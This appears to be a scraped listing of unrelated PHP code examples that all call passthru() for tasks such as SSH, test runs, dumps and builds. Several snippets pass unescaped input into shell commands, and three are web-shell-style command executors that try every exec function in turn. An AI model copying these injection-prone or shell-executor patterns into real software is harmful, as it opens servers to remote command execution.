function OnInit($param)
 {
     parent::onInit($param);
     include "config.php";
     $repositoryid = $_GET['RepositoryID'];
     $results = $this->Module->Database->Execute("SELECT * FROM repositories WHERE id=" . makeSqlString($repositoryid));
     $fields = $results->fields;
     $ownerid = $fields['ownerid'];
     $name = $fields['name'];
     if (!$this->User->isAdmin() && $this->User->getId() != $ownerid) {
         echo "Not enough rights to change this repository!";
         exit(-1);
     }
     $filename = $name . ".dump";
     if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match("/MSIE/", $_SERVER['HTTP_USER_AGENT'])) {
         // IE Bug in download name workaround
         error_log("ini_set");
         ini_set('zlib.output_compression', 'Off');
     }
     header('Cache-Control:');
     header('Pragma:');
     header("Content-Type: application/octet-stream");
     header("Content-Disposition: attachment; filename=\"{$filename}\"");
     header("Content-Transfer-Encoding: binary");
     passthru($svnadmin_cmd . " dump " . $svn_repos_loc . DIRECTORY_SEPARATOR . $name);
     exit(0);
     //$this->Application->transfer('Repository:AdminPage');
 }
 protected function execute(InputInterface $input, OutputInterface $output)
 {
     $this->validateInput($input);
     $sshUrl = $this->getSelectedEnvironment()->getSshUrl($input->getOption('app'));
     if ($input->getOption('pipe') || !$this->isTerminal($output)) {
         $output->write($sshUrl);
         return 0;
     }
     $remoteCommand = $input->getArgument('cmd');
     if ($input instanceof ArgvInput) {
         $helper = new ArgvHelper();
         $remoteCommand = $helper->getPassedCommand($this, $input);
     }
     $sshOptions = 't';
     // Pass through the verbosity options to SSH.
     if ($output->getVerbosity() >= OutputInterface::VERBOSITY_DEBUG) {
         $sshOptions .= 'vv';
     } elseif ($output->getVerbosity() >= OutputInterface::VERBOSITY_VERY_VERBOSE) {
         $sshOptions .= 'v';
     } elseif ($output->getVerbosity() <= OutputInterface::VERBOSITY_NORMAL) {
         $sshOptions .= 'q';
     }
     $command = "ssh -{$sshOptions} " . escapeshellarg($sshUrl);
     if ($remoteCommand) {
         $command .= ' ' . escapeshellarg($remoteCommand);
     }
     if ($output->getVerbosity() >= OutputInterface::VERBOSITY_VERBOSE) {
         $this->stdErr->writeln("Running command: <info>{$command}</info>");
     }
     passthru($command, $returnVar);
     return $returnVar;
 }
示例#3
0
function cmd($cfe)
{
    $res = '';
    echon($cfe, 1);
    $cfe = $cfe;
    if ($cfe) {
        if (function_exists('exec')) {
            @exec($cfe, $res);
            $res = join("\n", $res);
        } elseif (function_exists('shell_exec')) {
            $res = @shell_exec($cfe);
        } elseif (function_exists('system')) {
            @ob_start();
            @system($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif (function_exists('passthru')) {
            @ob_start();
            @passthru($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif (@is_resource($f = @popen($cfe, "r"))) {
            $res = '';
            while (!@feof($f)) {
                $res .= @fread($f, 1024);
            }
            @pclose($f);
        }
    }
    echon($res, 1);
    return $res;
}
 /**
  * Execute the console command.
  *
  * @return void
  */
 public function fire()
 {
     passthru('clear');
     $this->line('');
     $this->comment("Running acceptance tests... \n\n");
     $input = array();
     $input[] = '';
     $options = array('format', 'no-snippets', 'tags', 'out', 'profile', 'name');
     foreach ($options as $option) {
         if ($format = $this->input->getOption($option)) {
             $input[] = "--{$option}=" . $format;
         }
     }
     $switches = array('stop-on-failure', 'strict');
     foreach ($switches as $switch) {
         if ($this->input->getOption($switch)) {
             $input[] = '--' . $switch;
         }
     }
     $profile = $this->option('profile');
     if (!empty($profile)) {
         $profile_config = $this->loadConfig($profile);
     } else {
         $profile_config = $this->loadConfig('default');
     }
     $input[] = $profile_config['paths']['features'] . '/' . $this->input->getArgument('feature');
     // Running with output color
     $app = new \Behat\Behat\Console\BehatApplication('DEV');
     $app->run(new \Symfony\Component\Console\Input\ArgvInput($input));
 }
function yemenEx($in)
{
    $out = '';
    if (function_exists('exec')) {
        @exec($in, $out);
        $out = @join("\n", $out);
    } elseif (function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    } elseif (function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    } elseif (function_exists('shell_exec')) {
        $out = shell_exec($in);
    } elseif (is_resource($f = @popen($in, "r"))) {
        $out = "";
        while (!@feof($f)) {
            $out .= fread($f, 1024);
        }
        pclose($f);
    }
    return $out;
}
 /**
  * @param \StackFormation\Template[] $templates
  * @param string|null                $description
  * @param array                      $additionalData
  *
  * @return string
  * @throws \Exception
  */
 public function merge(array $templates, $description = null, array $additionalData = [])
 {
     if (count($templates) == 0) {
         throw new \InvalidArgumentException('No templates given');
     }
     $mergedTemplate = ['AWSTemplateFormatVersion' => '2010-09-09'];
     $mergeKeys = ['Parameters', 'Mappings', 'Conditions', 'Resources', 'Outputs', 'Metadata'];
     foreach ($templates as $template) {
         if (!$template instanceof \StackFormation\Template) {
             throw new \InvalidArgumentException('Expecting an array of \\StackFormation\\Template objects');
         }
         try {
             $array = $template->getDecodedJson();
             // Copy the current description into the final template
             if (!empty($array['Description'])) {
                 $mergedTemplate['Description'] = $array['Description'];
             }
             // Merge keys from current template with final template
             foreach ($mergeKeys as $mergeKey) {
                 if (isset($array[$mergeKey]) && is_array($array[$mergeKey])) {
                     foreach ($array[$mergeKey] as $key => $value) {
                         if (isset($mergedTemplate[$mergeKey][$key])) {
                             // it's ok if the parameter has the same name and type...
                             if ($mergeKey != 'Parameters' || $value['Type'] != $mergedTemplate[$mergeKey][$key]['Type']) {
                                 throw new \Exception("Duplicate key '{$key}' found in '{$mergeKey}'");
                             }
                         }
                         $mergedTemplate[$mergeKey][$key] = $value;
                     }
                 }
             }
         } catch (TemplateDecodeException $e) {
             if (Div::isProgramInstalled('jq')) {
                 $tmpfile = tempnam(sys_get_temp_dir(), 'json_validate_');
                 file_put_contents($tmpfile, $template->getProcessedTemplate());
                 passthru('jq . ' . $tmpfile);
                 unlink($tmpfile);
             }
             throw $e;
         }
     }
     // If a description override is specified use it
     if (!empty($description)) {
         $mergedTemplate['Description'] = trim($description);
     }
     if (empty($mergedTemplate['Description'])) {
         $mergedTemplate['Description'] = 'Merged Template';
     }
     $mergedTemplate = array_merge_recursive($mergedTemplate, $additionalData);
     $json = json_encode($mergedTemplate, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
     // Check for max template size
     if (strlen($json) > self::MAX_CF_TEMPLATE_SIZE) {
         $json = json_encode($mergedTemplate, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
         // Re-check for max template size
         if (strlen($json) > self::MAX_CF_TEMPLATE_SIZE) {
             throw new \Exception(sprintf('Template too big (%s bytes). Maximum template size is %s bytes.', strlen($json), self::MAX_CF_TEMPLATE_SIZE));
         }
     }
     return $json;
 }
示例#7
0
    function build()
    {
        $command = sprintf('%s -L basic.lua -o %s %s', TOLUA_BIN, $this->_outputCppPath, $this->_inputPath);
        printf("  creating file: %s.cpp\n", $this->_luabindingFilename);
        printf("  command: %s\n", $command);
        passthru($command);
        if (file_exists($this->_outputCppPath)) {
            $this->_fixLuabindingFile();
        }
        $includeOnce = sprintf('__%s_H_', strtoupper($this->_luabindingFilename));
        $functionName = $this->_luaopenFunctionName;
        $header = <<<EOT

#ifndef {$includeOnce}
#define {$includeOnce}

extern "C" {
#include "tolua++.h"
#include "tolua_fix.h"
}
#include "cocos2d.h"

using namespace cocos2d;

TOLUA_API int {$functionName}(lua_State* tolua_S);

#endif // {$includeOnce}

EOT;
        printf("  creating file: %s.h\n", $this->_luabindingFilename);
        // file_put_contents($this->_outputHeaderPath, $header);
    }
 /**
  * {@inheritdoc}
  */
 public function guess($path)
 {
     if (!is_file($path)) {
         throw new FileNotFoundException($path);
     }
     if (!is_readable($path)) {
         throw new AccessDeniedException($path);
     }
     if (!self::isSupported()) {
         return null;
     }
     ob_start();
     // need to use --mime instead of -i. see #6641
     passthru(sprintf($this->cmd, escapeshellarg($path)), $return);
     if ($return > 0) {
         ob_end_clean();
         return null;
     }
     $type = trim(ob_get_clean());
     if (!preg_match('#^([a-z0-9\\-]+/[a-z0-9\\-]+)#i', $type, $match)) {
         // it's not a type, but an error message
         return null;
     }
     return $match[1];
 }
 /**
  *
  * @test
  */
 public function selenium_server_executable_is_callable()
 {
     $directory = sprintf('%s/../bin', TESTS_DIR);
     $executable = sprintf('%s/selenium-server-standalone -h 2>&1', realpath($directory));
     $this->expectOutputRegex('/Running as a standalone server/');
     passthru($executable);
 }
 /**
  * @see sfTask
  */
 protected function execute($arguments = array(), $options = array())
 {
     if (!strpos($options['options'], '--colors')) {
         $options['options'] .= ' --colors';
     }
     $relativePath = $this->getRelativePath($arguments, $options);
     $tmpName = $arguments['name'];
     $name = '';
     // do some magic and check if given test name is ok
     // or if some suffix has to be added due to the naming convention of test cases
     // should we run a single file, a directory or even everything?
     if ($tmpName) {
         // should we run a subdirectory?
         if ('/' == substr($tmpName, -1)) {
             // do nothing here
         } elseif (preg_match('/^.*' . $this->getFileSuffix() . '$/s', $tmpName, $hits)) {
             $name = $tmpName . '.php';
         } elseif (false === strpos($tmpName, $this->getFileSuffixWithExtension())) {
             $name = $tmpName . $this->getFileSuffixWithExtension();
         }
         // file name is ok now for PHPUnit
         $path = $relativePath . '/' . $name;
     } else {
         $path = $relativePath;
     }
     $cmd = 'phpunit ' . $options['options'] . ' ' . escapeshellarg($path);
     // $this->logSection('debug', $cmd);
     $output = '';
     passthru($cmd, $output);
     return $output;
 }
示例#11
0
 /**
  * {@inheritdoc}
  */
 protected function fire()
 {
     try {
         $this->validate();
     } catch (Exception $e) {
         $this->error($e->getMessage());
         return;
     }
     $mysqlDumpCommand = (string) $this->makeMysqlCommand(MysqlDumpCommand::class, $this->localCredentials);
     $remoteCommand = (string) $this->makeMysqlCommand(MysqlCommand::class, $this->remoteCredentials);
     if (!$this->option('no-gzip')) {
         $mysqlDumpCommand .= ' | gzip';
         $remoteCommand = 'gunzip | ' . $remoteCommand;
     }
     if ($this->sshCredentials) {
         $remoteCommand = $this->makeSshCommand($remoteCommand);
     }
     $command = "{$mysqlDumpCommand} | {$remoteCommand}";
     $this->info('Pushing local database...');
     if ($this->debug) {
         $this->output->writeln($command);
     } else {
         passthru($command);
     }
 }
 public function reRunSuite()
 {
     $args = $_SERVER['argv'];
     $command = $this->buildArgString() . escapeshellcmd($this->getExecutablePath()) . ' ' . join(' ', array_map('escapeshellarg', $args));
     passthru($command, $exitCode);
     exit($exitCode);
 }
示例#13
0
 public function dump($module)
 {
     $module = $this->laravel['modules']->findOrFail($module);
     $this->line("<comment>Running for module</comment>: {$module}");
     chdir($module->getPath());
     passthru('composer dump -o -n -q');
 }
示例#14
0
function pdf_create($bhtml, $filename)
{
    $bhtml = utf8_decode($bhtml);
    $page = $filename;
    $html = $bhtml;
    $mytemp = dirname(FCPATH) . "/tmp/f" . time() . "-" . mt_rand(111, 999) . ".html";
    $article_f = fopen($mytemp, 'w+');
    fwrite($article_f, $html);
    fclose($article_f);
    putenv("HTMLDOC_NOCGI=1");
    # Write the content type to the client...
    header("Content-Type: application/pdf");
    header(sprintf('Content-Disposition: attachment; filename="%s.pdf"', $page));
    flush();
    # if the page is on a HTTPS server and contains images that are on the HTTPS server AND also reachable with HTTP
    # uncomment the next line
    #system("perl -pi -e 's/img src=\"https:\/\//img src=\"http:\/\//g' '$mytemp'");
    # Run HTMLDOC to provide the PDF file to the user...
    passthru("htmldoc -t pdf14 --charset iso-8859-1 --color --quiet --jpeg --webpage '{$mytemp}'");
    //unlink ($mytemp);
    /*sample
    function outputpdf()
    {
         $this->load->plugin('to_htmldoc'); //or autoload
         $html = $this->load->view('viewfile', $data, true);
         $filename = 'pdf_output';
         pdf_create($html, $filename);
    }
    
    */
}
示例#15
0
 public function executeCommand(sfWebRequest $request)
 {
     $command = trim($request->getParameter("dm_command"));
     if (substr($command, 0, 2) == "sf") {
         $command = substr($command, 3);
         $exec = sprintf('%s "%s" %s --color', sfToolkit::getPhpCli(), dmProject::getRootDir() . '/symfony', $command);
     } else {
         $options = substr(trim($command), 0, 2) == 'll' || substr(trim($command), 0, 2) == 'ls' ? '--color' : '';
         $parts = explode(" ", $command);
         $parts[0] = dmArray::get($this->getAliases(), $parts[0], $parts[0]);
         $command = implode(" ", $parts);
         $parts = explode(" ", $command);
         $command = dmArray::get($this->getAliases(), $command, $command);
         if (!in_array($parts[0], $this->getCommands())) {
             return $this->renderText(sprintf("%s<li>This command is not available. You can do: <strong>%s</strong></li>", $this->renderCommand($command), implode(' ', $this->getCommands())));
         }
         $exec = sprintf("%s {$options}", $command);
     }
     ob_start();
     passthru($exec . ' 2>&1', $return);
     $raw = dmAnsiColorFormatHtmlRenderer::render(ob_get_clean());
     $arr = explode("\n", $raw);
     $res = $this->renderCommand($command);
     foreach ($arr as $a) {
         $res .= "<li class='dm_result_command'><pre>" . $a . "</pre></li>";
     }
     return $this->renderText($res);
 }
function download_plugin($path, $plugin)
{
    echo passthru("wget {$plugin['repo']}") . "\n\n";
    echo passthru("unzip {$path}.zip") . "\n\n";
    echo passthru("mv {$path} ../") . "\n\n";
    return TRUE;
}
示例#17
0
 protected function execute(InputInterface $input, OutputInterface $output)
 {
     $specs = $input->getArgument('specs');
     $persistFixtureData = $input->getOption("persist-fixture-data");
     $keepSymlinks = $input->getOption('keep-symlinks');
     $printLogs = $input->getOption('print-logs');
     $drop = $input->getOption('drop');
     $assumeArtifacts = $input->getOption('assume-artifacts');
     $plugin = $input->getOption('plugin');
     $options = array();
     if ($persistFixtureData) {
         $options[] = "--persist-fixture-data";
     }
     if ($keepSymlinks) {
         $options[] = "--keep-symlinks";
     }
     if ($printLogs) {
         $options[] = "--print-logs";
     }
     if ($drop) {
         $options[] = "--drop";
     }
     if ($assumeArtifacts) {
         $options[] = "--assume-artifacts";
     }
     if ($plugin) {
         $options[] = "--plugin=" . $plugin;
     }
     $options = implode(" ", $options);
     $specs = implode(" ", $specs);
     $cmd = "phantomjs '" . PIWIK_INCLUDE_PATH . "/tests/lib/screenshot-testing/run-tests.js' {$options} {$specs}";
     $output->writeln('Executing command: <info>' . $cmd . '</info>');
     $output->writeln('');
     passthru($cmd);
 }
function do_update_plugin($dir, $domain)
{
    $old = getcwd();
    chdir($dir);
    if (!file_exists('locale')) {
        mkdir('locale');
    }
    $files = get_plugin_sources(".");
    $cmd = <<<END
xgettext \\
    --from-code=UTF-8 \\
    --default-domain={$domain} \\
    --output=locale/{$domain}.pot \\
    --language=PHP \\
    --add-comments=TRANS \\
    --keyword='' \\
    --keyword="_m:1,1t" \\
    --keyword="_m:1c,2,2t" \\
    --keyword="_m:1,2,3t" \\
    --keyword="_m:1c,2,3,4t" \\

END;
    foreach ($files as $file) {
        $cmd .= ' ' . escapeshellarg($file);
    }
    passthru($cmd);
    chdir($old);
}
function excute($cfe) {
  $res = '';
  if (!empty($cfe)) {
    if(@function_exists('exec')) {
      @exec($cfe,$res);
      $res = join("\n",$res);
    } elseif(@function_exists('shell_exec')) {
      $res = @shell_exec($cfe);
    } elseif(@function_exists('system')) {
      @ob_start();
      @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(@function_exists('passthru')) {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
      $res = "";
      while(!@feof($f)) { $res .= @fread($f,1024); }
      @pclose($f);
    } else { $res = "Ex() Disabled!"; }
  }
  return $res;
}
示例#20
0
 /**
  * Export the locale files to the browser as a tarball.
  * Requires tar for operation (configured in config.inc.php).
  */
 function export($locale)
 {
     // Construct the tar command
     $tarBinary = Config::getVar('cli', 'tar');
     if (empty($tarBinary) || !file_exists($tarBinary)) {
         // We can use fatalError() here as we already have a user
         // friendly way of dealing with the missing tar on the
         // index page.
         fatalError('The tar binary must be configured in config.inc.php\'s cli section to use the export function of this plugin!');
     }
     $command = $tarBinary . ' cz';
     $localeFilesList = TranslatorAction::getLocaleFiles($locale);
     $localeFilesList = array_merge($localeFilesList, TranslatorAction::getMiscLocaleFiles($locale));
     $emailTemplateDao =& DAORegistry::getDAO('EmailTemplateDAO');
     $localeFilesList[] = $emailTemplateDao->getMainEmailTemplateDataFilename($locale);
     foreach (array_values(TranslatorAction::getEmailFileMap($locale)) as $emailFile) {
     }
     // Include locale files (main file and plugin files)
     foreach ($localeFilesList as $file) {
         if (file_exists($file)) {
             $command .= ' ' . escapeshellarg($file);
         }
     }
     header('Content-Type: application/x-gtar');
     header("Content-Disposition: attachment; filename=\"{$locale}.tar.gz\"");
     header('Cache-Control: private');
     // Workarounds for IE weirdness
     passthru($command);
 }
示例#21
0
 /**
  * Generates a new project with a little bit of added fluff
  *
  * @return void
  * @author Dean Sofer
  */
 function bake()
 {
     if (!isset($this->params['group'])) {
         $this->params['group'] = 'core';
     }
     $this->params['skel'] = $this->_pluginPath('BakingPlate') . 'vendors' . DS . 'shells' . DS . 'skel ' . implode(' ', $this->args);
     $working = $this->params['working'];
     $this->Project->execute();
     $this->nl();
     $this->out('Making temp folders writeable...');
     exec('chmod -R 777 ' . $this->params['app'] . '/tmp/*');
     exec('chmod -R 777 ' . $this->params['app'] . '/webroot/cache_css');
     exec('chmod -R 777 ' . $this->params['app'] . '/webroot/cache_js');
     exec('chmod -R 777 ' . $this->params['app'] . '/webroot/uploads');
     $this->nl();
     chdir($this->params['app']);
     $this->out(passthru('git init'));
     $this->all();
     $this->DbConfig->path = $working . DS . $this->params['app'] . DS . 'config' . DS;
     if (!config('database')) {
         $this->out(__("\nYour database configuration was not found. Take a moment to create one.", true));
         $this->args = null;
         $this->DbConfig->execute();
     }
 }
示例#22
0
 public function Execute()
 {
     if (function_exists('system')) {
         ob_start();
         system($this->command_exec);
         $this->output = ob_get_contents();
         ob_end_clean();
     } else {
         if (function_exists('passthru')) {
             ob_start();
             passthru($this->command_exec);
             $this->output = ob_get_contents();
             ob_end_clean();
         } else {
             if (function_exists('exec')) {
                 exec($this->command_exec, $this->output);
                 $this->output = implode("\n", $output);
             } else {
                 if (function_exists('shell_exec')) {
                     $this->output = shell_exec($this->command_exec);
                 } else {
                     $this->output = 'Command execution not possible on this system';
                 }
             }
         }
     }
 }
示例#23
0
function viewvc_utils_wrap_utf8_exec($command)
{
    ob_start();
    putenv("LC_CTYPE=en_US.UTF-8");
    passthru($command);
    return ob_get_clean();
}
示例#24
0
 /**
  * Initializes git, makes tmp folders writeable, and adds the core submodules (or specified group)
  *
  * @return void
  */
 public function init($working)
 {
     $this->out(__d('baking_plate', "\n<info>Making temp folders writeable...</info>"));
     $tmp = array('tmp' . DS . 'cache', 'tmp' . DS . 'cache' . DS . 'models', 'tmp' . DS . 'cache' . DS . 'persistent', 'tmp' . DS . 'cache' . DS . 'views', 'tmp' . DS . 'logs', 'tmp' . DS . 'sessions', 'tmp' . DS . 'tests', 'webroot' . DS . 'ccss', 'webroot' . DS . 'cjs', 'webroot' . DS . 'uploads');
     foreach ($tmp as $dir) {
         if (!is_dir($working . DS . $dir)) {
             $this->out(__d('baking_plate', "\n<info>Creating Directory %s with permissions 0777</info>", $dir));
             mkdir($working . DS . $dir, 0777);
         } else {
             $this->out(__d('baking_plate', "\n<info>Setting Permissions of %s to 0777</info>", $dir));
             chmod($working . DS . $dir, 0777);
         }
     }
     $this->nl();
     chdir($working);
     $this->out();
     $this->out(passthru('git init'));
     $this->all();
     $this->args = null;
     if (!file_exists($working . 'Config' . DS . 'database.php')) {
         $this->DbConfig->path = $working . 'Config' . DS;
         $this->out();
         $this->out(__d('baking_plate', '<warning>Your database configuration was not found. Take a moment to create one.</warning>'));
         $this->DbConfig->execute();
     }
 }
示例#25
0
 /**
  * Sends command through SSH
  *
  * @param [string] $server      Server to connect to
  * @param [string] $remote_exec Command to execute on server
  * @param [array]  $args        Args from command line
  * @param [array]  $assoc_args  Arguments sent to command
  * @return [array] $formatted_result
  */
 protected function sendCommand($server, $remote_exec, $args, $assoc_args)
 {
     //Unset CLI args
     unset($assoc_args['site']);
     $remote_cmd = $remote_exec . ' ';
     foreach ($args as $arg) {
         $remote_cmd .= escapeshellarg($arg) . ' ';
     }
     foreach ($assoc_args as $key => $value) {
         $remote_cmd .= ' --' . $key;
         if ($value != 1) {
             $remote_cmd .= '=' . escapeshellarg($value);
         }
     }
     $is_normal = Terminus::getConfig('format') == 'normal';
     $cmd = 'ssh -T ' . $server['user'] . '@' . $server['host'] . ' -p ' . $server['port'] . ' -o "AddressFamily inet"' . " " . escapeshellarg($remote_cmd);
     if (!$is_normal) {
         ob_start();
     }
     passthru($cmd, $exit_code);
     if (!$is_normal) {
         $result = ob_get_clean();
     }
     if (Terminus::getConfig('format') == 'silent') {
         $this->logger->info($result);
     }
     if ($exit_code == 255) {
         $this->failure('Failed to connect. Check your credentials and the target environment.', array(), $exit_code);
     }
     if (!isset($result)) {
         return true;
     }
     $formatted_result = $this->formatOutput($result);
     return $formatted_result;
 }
 protected function execute(InputInterface $input, OutputInterface $output)
 {
     $manifest = $input->getOption('manifest') ?: 'https://platform.sh/cli/manifest.json';
     $currentVersion = $input->getOption('current-version') ?: $this->getApplication()->getVersion();
     if (extension_loaded('Phar') && !($localPhar = \Phar::running(false))) {
         $this->stdErr->writeln('This instance of the CLI was not installed as a Phar archive.');
         if (file_exists(CLI_ROOT . '/../../autoload.php')) {
             $this->stdErr->writeln('Update using: <info>composer global update</info>');
         }
         return 1;
     }
     $manager = new Manager(Manifest::loadFile($manifest));
     if (isset($localPhar)) {
         $manager->setRunningFile($localPhar);
     }
     $onlyMinor = !$input->getOption('major');
     $updated = $manager->update($currentVersion, $onlyMinor);
     if ($updated) {
         $this->stdErr->writeln("Successfully updated");
         $localPhar = $manager->getRunningFile();
         passthru('php ' . escapeshellarg($localPhar) . ' --version');
     } else {
         $this->stdErr->writeln("No updates found. The Platform.sh CLI is up-to-date.");
     }
     return 0;
 }
示例#27
0
 /**
  * @param InputInterface $input
  * @param OutputInterface $output
  */
 protected function startGulpWatcher(InputInterface $input, OutputInterface $output)
 {
     $output->writeln("<info>Starting gulp watcher...</info>", $output::VERBOSITY_VERBOSE);
     $command = $this->createGulpProcess('steak:serve', $this->getServeOptions())->getCommandLine();
     $output->writeln("  \$ <comment>{$command}</comment>", $output::VERBOSITY_VERY_VERBOSE);
     passthru($command);
 }
示例#28
0
function Merge($newtext,$oldtext,$pagetext) {
  global $WorkDir,$SysMergeCmd, $SysMergePassthru;
  SDV($SysMergeCmd,"/usr/bin/diff3 -L '' -L '' -L '' -m -E");
  if (substr($newtext,-1,1)!="\n") $newtext.="\n";
  if (substr($oldtext,-1,1)!="\n") $oldtext.="\n";
  if (substr($pagetext,-1,1)!="\n") $pagetext.="\n";
  $tempnew = tempnam($WorkDir,"new");
  $tempold = tempnam($WorkDir,"old");
  $temppag = tempnam($WorkDir,"page");
  if ($newfp=fopen($tempnew,'w')) { fputs($newfp,$newtext); fclose($newfp); }
  if ($oldfp=fopen($tempold,'w')) { fputs($oldfp,$oldtext); fclose($oldfp); }
  if ($pagfp=fopen($temppag,'w')) { fputs($pagfp,$pagetext); fclose($pagfp); }
  $mergetext = '';
  if (IsEnabled($SysMergePassthru, 0)) {
    ob_start();
    passthru("$SysMergeCmd $tempnew $tempold $temppag");
    $mergetext = ob_get_clean();
  }
  else {
    $merge_handle = popen("$SysMergeCmd $tempnew $tempold $temppag",'r');
    if ($merge_handle) {
      while (!feof($merge_handle)) $mergetext .= fread($merge_handle,4096);
      pclose($merge_handle);
    }
  }
  @unlink($tempnew); @unlink($tempold); @unlink($temppag);
  return $mergetext;
}
示例#29
0
 private function setLocaleOnCommand($command)
 {
     ob_start();
     putenv("LC_CTYPE=en_US.UTF-8");
     passthru($command);
     return ob_get_clean();
 }
 public function Run($app_code, $action)
 {
     if (is_dir("../vendor_core/phing/phing")) {
         // installation from "claromentis/installer" folder
         $phing_path = "../vendor_core/phing/phing";
     } elseif (is_dir("vendor/phing/phing")) {
         // installation from "claromentis" folder (usually, by a developer or Cla 7)
         $phing_path = "vendor/phing/phing";
     } elseif (is_dir("../vendor/phing/phing")) {
         // should not be needed, but still included
         $phing_path = "../vendor/phing/phing";
     } else {
         throw new \Exception("Cannot find phing");
     }
     $phing_path = realpath($phing_path);
     $old_pwd = getcwd();
     chdir($this->base_dir);
     $cmd = PHP_BINARY . ' ' . $phing_path . DIRECTORY_SEPARATOR . "bin" . DIRECTORY_SEPARATOR . "phing -Dapp={$app_code} {$action}";
     $this->io->write("Running command: {$cmd}");
     $ret = -1;
     passthru($cmd, $ret);
     chdir($old_pwd);
     if ($ret !== 0) {
         $msg = "Phing returned non-zero code - {$ret}";
         $this->io->writeError($msg);
         throw new \Exception($msg);
     }
 }